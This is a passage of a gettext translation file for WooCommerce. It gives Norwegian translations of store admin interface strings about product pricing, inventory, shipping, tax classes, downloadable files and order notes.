#: assets/client/admin/product-editor/index.js:2
msgid "Download limit"
msgstr "Nedlastingsgrense"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:116
#: includes/admin/settings/class-wc-settings-products.php:50
#: includes/admin/settings/class-wc-settings-products.php:370
msgid "Downloadable products"
msgstr "Nedlastbare produkter"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:103
msgid "Toggle "Manage stock""
msgstr "Veksling "Lagerstyring""
#: includes/admin/meta-boxes/views/html-product-data-variations.php:95
msgid "Set scheduled sale dates"
msgstr "Sett planlagte utsalgsdatoer"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:94
msgid "Decrease sale prices (fixed amount or percentage)"
msgstr "Reduser tilbudspriser (fast beløp eller prosent)"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:93
msgid "Increase sale prices (fixed amount or percentage)"
msgstr "Øke utsalgspriser (fast beløp eller prosent)"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:92
msgid "Set sale prices"
msgstr "Angi tilbudspriser"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:91
msgid "Decrease regular prices (fixed amount or percentage)"
msgstr "Redusere ordinære priser (fast beløp eller prosent)"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:90
msgid "Increase regular prices (fixed amount or percentage)"
msgstr "Øke ordinære priser (fast beløp eller prosentandel)"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:89
msgid "Set regular prices"
msgstr "Angi ordinære priser"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:88
#: assets/client/admin/product-editor/index.js:2
msgid "Pricing"
msgstr "Pris"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:86
msgid "Toggle "Virtual""
msgstr "Veksle "Virtuell""
#: includes/admin/meta-boxes/views/html-product-data-variations.php:85
msgid "Toggle "Downloadable""
msgstr "Veksle "Nedlastbar""
#: includes/admin/meta-boxes/views/html-product-data-variations.php:84
msgid "Toggle "Enabled""
msgstr "Veksle "Slått på""
#: includes/admin/meta-boxes/views/html-product-data-variations.php:82
msgid "Delete all variations"
msgstr "Slett alle varianter"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:44
msgid "Default Form Values"
msgstr "Standard skjemaverdier"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:48
#: includes/admin/plugin-updates/views/html-notice-untested-extensions-modal.php:44
#: includes/admin/settings/views/html-admin-page-shipping-classes.php:20
#: src/Internal/Admin/Notes/CustomizeStoreWithBlocks.php:80
#: src/Internal/Admin/Notes/CustomizingProductCatalog.php:78
#: src/Internal/Admin/Notes/EditProductsOnTheMove.php:65
#: src/Internal/Admin/Notes/EUVATNumber.php:56
#: src/Internal/Admin/Notes/LaunchChecklist.php:57
#: src/Internal/Admin/Notes/MagentoMigration.php:94
#: src/Internal/Admin/Notes/ManageOrdersOnTheGo.php:58
#: src/Internal/Admin/Notes/MigrateFromShopify.php:73
#: src/Internal/Admin/Notes/MobileApp.php:50
#: src/Internal/Admin/Notes/OnboardingPayments.php:61
#: src/Internal/Admin/Notes/OnlineClothingStore.php:92
#: src/Internal/Admin/Notes/OrderMilestones.php:241
#: src/Internal/Admin/Notes/PaymentsRemindMeLater.php:75
#: src/Internal/Admin/Notes/PerformanceOnMobile.php:62
#: src/Internal/Admin/Notes/RealTimeOrderAlerts.php:54
#: src/Internal/Admin/Notes/SellingOnlineCourses.php:78
#: src/Internal/Admin/Notes/UnsecuredReportFiles.php:50
#: src/Internal/Admin/Notes/WooCommercePayments.php:121
#: src/Internal/Features/FeaturesController.php:619
#: src/Internal/Features/FeaturesController.php:628
#: src/Internal/Features/FeaturesController.php:1400
#: src/Internal/StockNotifications/Admin/Templates/html-admin-notifications.php:43
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/chunks/settings-payments-main.js:1
#: assets/client/admin/chunks/shipping-recommendations.js:1
#: assets/client/admin/chunks/wcpay-payment-welcome-page.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/onboarding/index.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/blocks/all-products.js:13
#: assets/client/blocks/attribute-filter.js:19
#: assets/client/blocks/classic-shortcode.js:1
#: assets/client/blocks/price-filter.js:5
#: assets/client/blocks/wc-shipping-method-pickup-location.js:233
msgid "Learn more"
msgstr "Les mer"
#: includes/admin/class-wc-admin-assets.php:463
#: includes/admin/meta-boxes/views/html-product-data-advanced.php:47
#: includes/admin/settings/class-wc-settings-products.php:167
msgid "Enable reviews"
msgstr "Slå på omtaler"
#: includes/admin/meta-boxes/views/html-product-data-advanced.php:30
msgid "Custom ordering position."
msgstr "Tilpasset sorteringsposisjon."
#: includes/admin/importers/mappings/generic.php:26
#: includes/admin/meta-boxes/views/html-product-data-advanced.php:28
#: includes/widgets/class-wc-widget-products.php:55
msgid "Menu order"
msgstr "Menyrekkefølge"
#: includes/admin/meta-boxes/views/html-product-data-advanced.php:16
msgid "Enter an optional note to send the customer after purchase."
msgstr "Skriv inn et valgfritt notat som skal sendes til kunden etter kjøpet."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:639
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:866
#: includes/admin/meta-boxes/views/html-product-data-advanced.php:14
#: includes/export/class-wc-product-csv-exporter.php:157
msgid "Purchase note"
msgstr "Kjøpsnotat"
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:62
msgid "Cross-sells are products which you promote in the cart, based on the current product."
msgstr "Kryssalg er produkter som du promoterer i handlekurven, basert på gjeldende produkt."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:650
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:836
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:50
#: includes/export/class-wc-product-csv-exporter.php:169
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1171
msgid "Cross-sells"
msgstr "Kryssalg"
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:46
msgid "Upsells are products which you recommend instead of the currently viewed product, for example, products that are more profitable or better quality or more expensive."
msgstr "Oppsalg er produkter som du anbefaler i stedet for produktene som nå vises, for eksempel produkter som er mer lønnsomme, har bedre kvalitet eller er dyrere."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:649
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:835
#: includes/admin/meta-boxes/views/html-product-data-linked-products.php:34
#: includes/export/class-wc-product-csv-exporter.php:168
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1138
#: assets/client/blocks/product-collection.js:1
msgid "Upsells"
msgstr "Oppsalg"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:61
msgid "Save attributes"
msgstr "Lagre attributter"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:32
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:59
#: includes/admin/meta-boxes/views/html-product-data-variations.php:129
#: includes/admin/meta-boxes/views/html-product-data-variations.php:179
#: src/Blocks/BlockTypes/ProductFilters.php:149
#: assets/client/admin/chunks/1087.js:2 assets/client/admin/chunks/9336.js:1
#: assets/client/admin/chunks/customize-store.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/chunks/launch-store.js:1
#: assets/client/admin/components/index.js:2
#: assets/client/admin/settings-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:2
#: assets/client/admin/wp-admin-scripts/settings-embed.js:9
#: assets/client/blocks/product-filters.js:1
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:34
msgid "Close"
msgstr "Lukk"
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:32
#: includes/admin/meta-boxes/views/html-product-data-attributes.php:59
#: includes/admin/meta-boxes/views/html-product-data-variations.php:129
#: includes/admin/meta-boxes/views/html-product-data-variations.php:179
#: assets/client/admin/chunks/multichannel-marketing.js:1
#: assets/client/admin/components/index.js:2
msgid "Expand"
msgstr "Utvid"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:72
msgid "Shipping classes are used by certain shipping methods to group similar products."
msgstr "Fraktklasser brukes av enkelte fraktmåter for å gruppere lignende produkter."
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:644
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:832
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:70
#: includes/admin/meta-boxes/views/html-variation-admin.php:395
#: includes/admin/settings/class-wc-settings-shipping.php:454
#: includes/admin/views/html-bulk-edit-product.php:236
#: includes/admin/views/html-quick-edit-product.php:139
#: includes/class-wc-post-types.php:189
#: includes/export/class-wc-product-csv-exporter.php:162
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Shipping class"
msgstr "Fraktklasse"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:61
#: includes/admin/views/html-bulk-edit-product.php:240
#: includes/admin/views/html-quick-edit-product.php:142
#: assets/client/admin/product-editor/blocks/product-fields/shipping-class/edit.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "No shipping class"
msgstr "Ingen fraktklasse"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:47
msgid "LxWxH in decimal form"
msgstr "LxBxH i desimalform"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:45
#: includes/admin/meta-boxes/views/html-product-data-variations.php:113
#: includes/admin/meta-boxes/views/html-variation-admin.php:374
#: includes/admin/views/html-quick-edit-product.php:129
#: assets/client/blocks/all-products.js:9
msgid "Height"
msgstr "Høyde"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:44
#: includes/admin/meta-boxes/views/html-product-data-variations.php:112
#: includes/admin/meta-boxes/views/html-variation-admin.php:373
#: includes/admin/views/html-quick-edit-product.php:128
#: assets/client/blocks/all-products.js:9
#: assets/client/blocks/product-collection.js:16
msgid "Width"
msgstr "Bredde"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:43
#: includes/admin/meta-boxes/views/html-product-data-variations.php:111
#: includes/admin/meta-boxes/views/html-variation-admin.php:372
#: includes/admin/views/html-quick-edit-product.php:127
msgid "Length"
msgstr "Lengde"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:819
#: includes/wc-template-functions.php:3865
#: src/Blocks/BlockTypes/ProductSpecifications.php:63
#: assets/client/admin/email-editor/index.js:2
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/admin/wp-admin-scripts/email-editor-integration.js:2
#: assets/client/blocks/mini-cart-contents.js:13
#: assets/client/blocks/product-specifications.js:2
msgid "Dimensions"
msgstr "Dimensjoner"
#: includes/admin/meta-boxes/views/html-product-data-shipping.php:23
#: includes/admin/meta-boxes/views/html-variation-admin.php:346
msgid "Weight in decimal form"
msgstr "Vekt i desimalform"
#: includes/admin/meta-boxes/views/html-product-data-variations.php:114
#: includes/admin/views/html-bulk-edit-product.php:150
#: includes/admin/views/html-quick-edit-product.php:114
#: includes/wc-template-functions.php:3858
#: src/Blocks/BlockTypes/ProductSpecifications.php:56
#: assets/client/admin/product-editor/blocks/product-fields/shipping-dimensions/edit.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-specifications.js:2
msgid "Weight"
msgstr "Vekt"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:182
msgid "Sold individually"
msgstr "Solgt individuelt"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:155
#: includes/admin/meta-boxes/views/html-variation-admin.php:326
#: includes/rest-api/Controllers/Version1/class-wc-rest-products-v1-controller.php:1963
#: includes/rest-api/Controllers/Version2/class-wc-rest-products-v2-controller.php:1939
msgid "Controls whether or not the product is listed as \"in stock\" or \"out of stock\" on the frontend."
msgstr "Styrer hvorvidt produktet er oppført som «På lager» eller «Utsolgt» i nettbutikken."
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:152
#: includes/admin/meta-boxes/views/html-variation-admin.php:323
#: includes/admin/reports/class-wc-report-stock.php:178
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:392
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:858
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/product-query.js:12
msgid "Stock status"
msgstr "Lagerstatus"
#: includes/admin/meta-boxes/views/html-variation-admin.php:268
msgid "If managing stock, this controls whether or not backorders are allowed. If enabled, stock quantity can go below 0."
msgstr "Ved lagerstyring, så styrer dette hvorvidt restordre er tillatt. Hvis dette er slått på, kan lagerantall gå under 0."
#: includes/wc-product-functions.php:1068
msgid "Allow, but notify customer"
msgstr "Tillat, men varsle kunden"
#: includes/wc-product-functions.php:1067
msgid "Do not allow"
msgstr "Ikke tillat"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:89
#: includes/admin/meta-boxes/views/html-variation-admin.php:265
msgid "Allow backorders?"
msgstr "Tillat restordre?"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:75
msgid "Stock quantity. If this is a variable product this value will be used to control stock for all variations, unless you define stock at variation level."
msgstr "Lagerantall. Hvis dette er et variabelt produkt vil denne verdien bli brukt til å styre lager for alle varianter, med mindre du definerer lager på variantnivå."
#: includes/admin/views/html-bulk-edit-product.php:323
#: includes/admin/views/html-bulk-edit-product.php:341
#: includes/admin/views/html-quick-edit-product.php:209
msgid "Stock qty"
msgstr "Lagerantall"
#: includes/admin/meta-boxes/views/html-variation-admin.php:127
#: includes/admin/views/html-bulk-edit-product.php:304
#: includes/admin/views/html-quick-edit-product.php:184
msgid "Manage stock?"
msgstr "Administrere lager?"
#: includes/admin/meta-boxes/views/html-product-data-general.php:244
#: includes/admin/meta-boxes/views/html-variation-admin.php:420
msgid "Choose a tax class for this product. Tax classes are used to apply different tax rates specific to certain types of product."
msgstr "Velg avgiftklasse for dette produktet. Avgiftsklasser brukes for å gi forskjellige avgiftssatser spesifikke for visse typer produkter."
#: includes/admin/settings/views/html-settings-tax.php:24
#: includes/admin/views/html-bulk-edit-product.php:127
#: includes/admin/views/html-quick-edit-product.php:88
#: includes/wc-product-functions.php:1032
msgid "Standard"
msgstr "Standard"
#: includes/admin/meta-boxes/views/html-product-data-general.php:233
msgid "Define whether or not the entire product is taxable, or just the cost of shipping it."
msgstr "Definer om hele produktet er avgiftspliktig eller bare fraktkostnaden."
#: includes/admin/meta-boxes/views/html-product-data-general.php:230
#: includes/admin/views/html-bulk-edit-product.php:110
#: includes/admin/views/html-quick-edit-product.php:72
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:31
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:61
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:116
msgctxt "Tax status"
msgid "None"
msgstr "Ingen"
#: includes/admin/meta-boxes/views/html-product-data-general.php:229
#: includes/admin/views/html-bulk-edit-product.php:109
#: includes/admin/views/html-quick-edit-product.php:71
msgid "Shipping only"
msgstr "Kun frakt"
#: includes/admin/meta-boxes/views/html-product-data-general.php:228
#: includes/admin/views/html-bulk-edit-product.php:108
#: includes/admin/views/html-quick-edit-product.php:70
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:30
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:60
#: includes/shipping/local-pickup/class-wc-shipping-local-pickup.php:115
#: assets/client/blocks/wc-shipping-method-pickup-location.js:83
msgid "Taxable"
msgstr "Avgiftspliktig"
#: src/Admin/Features/ProductBlockEditor/Init.php:284
msgid "Standard product"
msgstr "Standard produkt"
#: includes/admin/meta-boxes/views/html-product-data-general.php:206
#: includes/admin/meta-boxes/views/html-variation-admin.php:540
msgid "Enter the number of days before a download link expires, or leave blank."
msgstr "Fyll inn antall dager før en nedlastingslenke utløper, eller la stå tomt."
#: includes/admin/meta-boxes/views/html-order-download-permission.php:33
#: includes/admin/meta-boxes/views/html-product-data-general.php:205
#: includes/admin/meta-boxes/views/html-variation-admin.php:539
#: src/Blocks/BlockTypes/OrderConfirmation/Downloads.php:150
#: templates/emails/email-downloads.php:68
#: templates/emails/plain/email-downloads.php:40
#: templates/order/order-downloads.php:62 assets/client/blocks/mini-cart.js:1
msgid "Never"
msgstr "Aldri"
#: includes/admin/meta-boxes/views/html-product-data-general.php:191
#: includes/admin/meta-boxes/views/html-variation-admin.php:522
msgid "Leave blank for unlimited re-downloads."
msgstr "La stå tomt for ubegrenset antall nedlastinger."
#: includes/admin/meta-boxes/views/html-order-download-permission.php:29
#: includes/admin/meta-boxes/views/html-product-data-general.php:190
#: includes/admin/meta-boxes/views/html-variation-admin.php:521
#: assets/client/admin/product-editor/index.js:2
msgid "Unlimited"
msgstr "Ubegrenset"
#: includes/admin/meta-boxes/views/html-product-data-general.php:165
msgid "Add File"
msgstr "Legg til fil"
#: includes/admin/meta-boxes/views/html-product-data-general.php:132
#: includes/admin/meta-boxes/views/html-variation-admin.php:460
msgid "This is the URL or absolute path to the file which customers will get access to. URLs entered here should already be encoded."
msgstr "Dette er nettadressen eller den absolutte stien til filen som kundene vil få tilgang til. Nettadresser som legges inn her bør allerede være kodet."
#: includes/admin/meta-boxes/views/html-product-data-general.php:132
#: includes/admin/meta-boxes/views/html-variation-admin.php:460
msgid "File URL"
msgstr "Filens nettadresse"
#: includes/admin/meta-boxes/views/html-product-data-general.php:131
#: includes/admin/meta-boxes/views/html-variation-admin.php:459
msgid "This is the name of the download shown to the customer."
msgstr "Dette er navnet på nedlastingen som vises til kunden."
#: includes/admin/meta-boxes/views/html-product-data-general.php:126
#: includes/admin/meta-boxes/views/html-variation-admin.php:455
msgid "Downloadable files"
msgstr "Nedlastbare filer"
#: includes/admin/meta-boxes/views/html-product-data-general.php:89
#: includes/admin/meta-boxes/views/html-variation-admin.php:188
msgctxt "placeholder"
msgid "To…"
msgstr "Til…"
#: includes/admin/meta-boxes/views/html-product-data-general.php:88
#: includes/admin/meta-boxes/views/html-variation-admin.php:184
msgctxt "placeholder"
msgid "From…"
msgstr "Fra…"
#: includes/admin/meta-boxes/views/html-product-data-general.php:87
msgid "Sale price dates"
msgstr "Tilbudsprisperiode"
#: includes/admin/meta-boxes/views/html-product-data-general.php:67
#: includes/admin/meta-boxes/views/html-variation-admin.php:169
#: src/Internal/TransientFiles/TransientFilesEngine.php:397
#: assets/client/admin/product-editor/index.js:2
msgid "Schedule"
msgstr "Planlegg"
#: includes/admin/meta-boxes/views/html-product-data-general.php:35
msgid "This text will be shown on the button linking to the external product."
msgstr "Denne teksten vil bli vist på knappen lenket til eksternt produkt."
#: includes/admin/meta-boxes/views/html-product-data-general.php:34
#: includes/class-wc-product-external.php:174
#: includes/class-wc-product-external.php:184
msgctxt "placeholder"
msgid "Buy product"
msgstr "Kjøp produkt"
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:653
#: includes/admin/importers/class-wc-product-csv-importer-controller.php:842
#: includes/admin/meta-boxes/views/html-product-data-general.php:33
#: includes/export/class-wc-product-csv-exporter.php:171
msgid "Button text"
msgstr "Knappetekst"
#: includes/admin/meta-boxes/views/html-product-data-general.php:25
msgid "Enter the external URL to the product."
msgstr "Fyll inn den eksterne nettadressen til produktet."
#: includes/admin/meta-boxes/views/html-product-data-general.php:23
msgid "Product URL"
msgstr "Produktets nettadresse"
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:24
#: includes/admin/meta-boxes/views/html-variation-admin.php:90
msgid "SKU refers to a Stock-keeping unit, a unique identifier for each distinct product and service that can be purchased."
msgstr "Produktnummer er en unik identifikator for hvert enkelt produkt og hver tjeneste som kan kjøpes."
#: includes/admin/meta-boxes/views/html-product-data-inventory.php:22
#: includes/admin/meta-boxes/views/html-variation-admin.php:88
msgid "Stock Keeping Unit"
msgstr "Lagerenhet"
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:115
#: includes/admin/settings/class-wc-settings-advanced.php:29
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsAdvanced.php:34
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:319
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:906
#: src/Internal/ProductAttributesLookup/LookupDataStore.php:722
msgid "Advanced"
msgstr "Avansert"
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:109
#: includes/class-wc-post-types.php:448
#: src/Admin/API/Reports/Products/Controller.php:328
#: src/Admin/ReportCSVEmail.php:75 src/Internal/Admin/Analytics.php:224
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:95
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1111
#: assets/client/admin/app/index.js:2
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-variations.js:1
msgid "Variations"
msgstr "Varianter"
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:97
msgid "Linked Products"
msgstr "Lenkede produkter"
#: includes/admin/class-wc-admin-setup-wizard.php:241
#: includes/admin/class-wc-admin-setup-wizard.php:1020
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:557
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:91
#: includes/admin/meta-boxes/views/html-order-shipping.php:22
#: includes/admin/meta-boxes/views/html-product-data-variations.php:110
#: includes/admin/settings/class-wc-settings-shipping.php:28
#: includes/admin/settings/class-wc-settings-tax.php:256
#: includes/admin/settings/views/html-settings-tax.php:40
#: includes/class-wc-order-item-shipping.php:216
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:152
#: src/Admin/API/Reports/Revenue/Stats/Controller.php:281
#: src/Admin/Features/Blueprint/Exporters/ExportWCSettingsShipping.php:101
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:91
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:132
#: src/Internal/ReceiptRendering/ReceiptRenderingEngine.php:347
#: templates/cart/cart-totals.php:52 templates/cart/cart-totals.php:53
#: assets/client/admin/chunks/analytics-report-revenue.js:1
#: assets/client/admin/chunks/dashboard-charts.js:1
#: assets/client/admin/chunks/homescreen.js:1
#: assets/client/admin/product-editor/index.js:2
#: assets/client/blocks/cart-frontend.js:8 assets/client/blocks/cart.js:2
#: assets/client/blocks/cart.js:26 assets/client/blocks/checkout.js:2
#: assets/client/blocks/checkout.js:24 assets/client/blocks/checkout.js:28
#: assets/client/blocks/mini-cart-contents.js:1
#: assets/client/blocks/wc-blocks-data.js:3
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:34
#: assets/client/blocks/wc-cart-checkout-base-frontend.js:40
msgid "Shipping"
msgstr "Frakt"
#: includes/admin/meta-boxes/class-wc-meta-box-product-data.php:85
#: includes/admin/meta-boxes/views/html-product-data-variations.php:102
#: includes/admin/settings/class-wc-settings-products.php:49
#: includes/admin/settings/class-wc-settings-products.php:235
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:82
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:299
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:115
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:731
#: assets/client/admin/product-editor/index.js:2
msgid "Inventory"
msgstr "Lager"
#: includes/admin/wc-admin-functions.php:588
msgid "Downloadable products give access to a file upon purchase."
msgstr "Nedlastbare produkter gir tilgang til en fil ved kjøp."
#: includes/admin/wc-admin-functions.php:581
msgid "Virtual products are intangible and are not shipped."
msgstr "Virtuelle produkter er immaterielle og sendes ikke."
#: includes/admin/meta-boxes/views/html-product-data-panel.php:18
#: assets/client/blocks/add-to-cart-with-options.js:1
msgid "Product Type"
msgstr "Produkttype"
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:50
#: includes/admin/meta-boxes/views/html-order-items.php:453
#: includes/admin/meta-boxes/views/html-order-items.php:509
#: packages/action-scheduler/classes/data-stores/ActionScheduler_wpPostStore_PostTypeRegistrar.php:37
#: assets/client/admin/product-editor/index.js:2
msgid "Add"
msgstr "Legg til"
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:48
msgid "Note to customer"
msgstr "Notat til kunden"
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:47
msgid "Private note"
msgstr "Privat notat"
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:41
msgid "Add a note for your reference, or add a customer note (the user will be notified)."
msgstr "Legg til et notat som referanse, eller legg til et kundenotat (brukeren vil bli underrettet)."
#: includes/admin/meta-boxes/class-wc-meta-box-order-notes.php:41
msgid "Add note"
msgstr "Legg til notat"
#: includes/admin/meta-boxes/views/html-order-notes.php:49
msgid "There are no notes yet."
msgstr "Det er ingen notater ennå."
#: includes/admin/meta-boxes/views/html-order-notes.php:42
#: includes/class-wc-ajax.php:1623
msgid "Delete note"
msgstr "Slett notat"
#. translators: %s: plugin author
#. translators: %s: note author
#. translators: %s: Comment author.
#: includes/admin/class-wc-admin-status.php:462
#: includes/admin/meta-boxes/views/html-order-notes.php:39
#: includes/admin/views/html-admin-page-status-report.php:685
#: includes/class-wc-ajax.php:1620 templates/content-widget-reviews.php:38
msgid "by %s"
msgstr "av %s"
#. translators: $1: Date created, $2 Time created
#: includes/class-wc-ajax.php:1614
msgid "added on %1$s at %2$s"
msgstr "lagt til %1$s klokken %2$s"
#: includes/admin/meta-boxes/class-wc-meta-box-order-downloads.php:79
msgid "Grant access"
msgstr "Gi tilgang"
#: includes/admin/meta-boxes/class-wc-meta-box-order-downloads.php:77
msgid "Search for a downloadable product…"
msgstr "Søk etter nedlastbart produkt…"
#. translators: file name.
#. translators: %d file count
#: includes/admin/meta-boxes/class-wc-meta-box-order-downloads.php:64
#: includes/class-wc-ajax.php:976
msgid "File %d"
msgstr "Fil %d"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:666
msgid "Customer notes about the order"
msgstr "Kundenotater vedrørende ordren"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:665
msgid "Customer provided note"
msgstr "Notat fra kunden"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:574
msgid "No shipping address set."
msgstr "Ingen leveringsadresse angitt."
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:560
msgid "Load shipping address"
msgstr "Last leveringsadresse"
#: includes/gateways/paypal/includes/settings-paypal.php:83
#: src/Internal/Admin/Orders/ListTable.php:1722
msgid "Shipping details"
msgstr "Fraktdetaljer"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:545
#: includes/class-wc-privacy-exporters.php:308
msgid "Transaction ID"
msgstr "Transaksjons-ID"
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:533
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:535
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:795
#: includes/admin/meta-boxes/views/html-order-shipping.php:44
#: includes/admin/meta-boxes/views/html-order-shipping.php:46
#: src/Internal/Admin/Onboarding/OnboardingIndustries.php:75
#: assets/client/admin/chunks/core-profiler.js:1
#: assets/client/admin/wp-admin-scripts/fulfillments.js:2
msgid "Other"
msgstr "Andre"
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:470
#: includes/admin/list-tables/class-wc-admin-list-table-orders.php:471
#: includes/admin/meta-boxes/class-wc-meta-box-order-data.php:519
#: includes/admin/meta-boxes/views/html-order-shipping.php:29
#: includes/admin/settings/class-wc-settings-accounts.php:222
#: includes/admin/settings/class-wc-settings-accounts.php:234
#: includes/admin/settings/class-wc-settings-accounts.php:243
#: includes/admin/settings/class-wc-settings-accounts.php:252
#: includes/admin/settings/class-wc-settings-accounts.php:261
#: includes/admin/settings/class-wc-settings-accounts.php:273
#: includes/admin/settings/class-wc-settings-emails.php:179
#: includes/admin/settings/class-wc-settings-emails.php:223
#: includes/admin/settings/views/settings-tax.php:107
#: includes/emails/class-wc-email-cancelled-order.php:215
#: includes/emails/class-wc-email-customer-cancelled-order.php:205
#: includes/emails/class-wc-email-customer-invoice.php:239
#: includes/emails/class-wc-email-customer-pos-completed-order.php:224
#: includes/emails/class-wc-email-customer-pos-refunded-order.php:355
#: includes/emails/class-wc-email-customer-refunded-order.php:336
#: includes/emails/class-wc-email-failed-order.php:216
#: includes/emails/class-wc-email-new-order.php:244
#: includes/emails/class-wc-email.php:1106
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:65
#: includes/shipping/flat-rate/includes/settings-flat-rate.php:77
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:92
#: includes/shipping/legacy-flat-rate/includes/settings-flat-rate.php:101
#: includes/shipping/legacy-free-shipping/class-wc-shipping-legacy-free-shipping.php:138
#: includes/wc-account-functions.php:391
#: includes/wc-formatting-functions.php:1417
#: includes/wc-formatting-functions.php:1443
#: src/Admin/API/Reports/Coupons/Controller.php:250
#: src/Admin/API/Reports/Coupons/DataStore.php:197
#: src/Admin/API/Reports/Products/Controller.php:370
#: src/Admin/API/Reports/Products/Controller.php:371
#: templates/emails/email-addresses.php:39
#: templates/order/order-details-customer.php:34
#: templates/order/order-details-customer.php:63
#: templates/single-product/meta.php:32
#: assets/client/admin/chunks/analytics-report-categories.js:1
#: assets/client/admin/chunks/analytics-report-coupons.js:1
#: assets/client/admin/chunks/analytics-report-products.js:1
#: assets/client/admin/chunks/analytics-report-stock.js:1
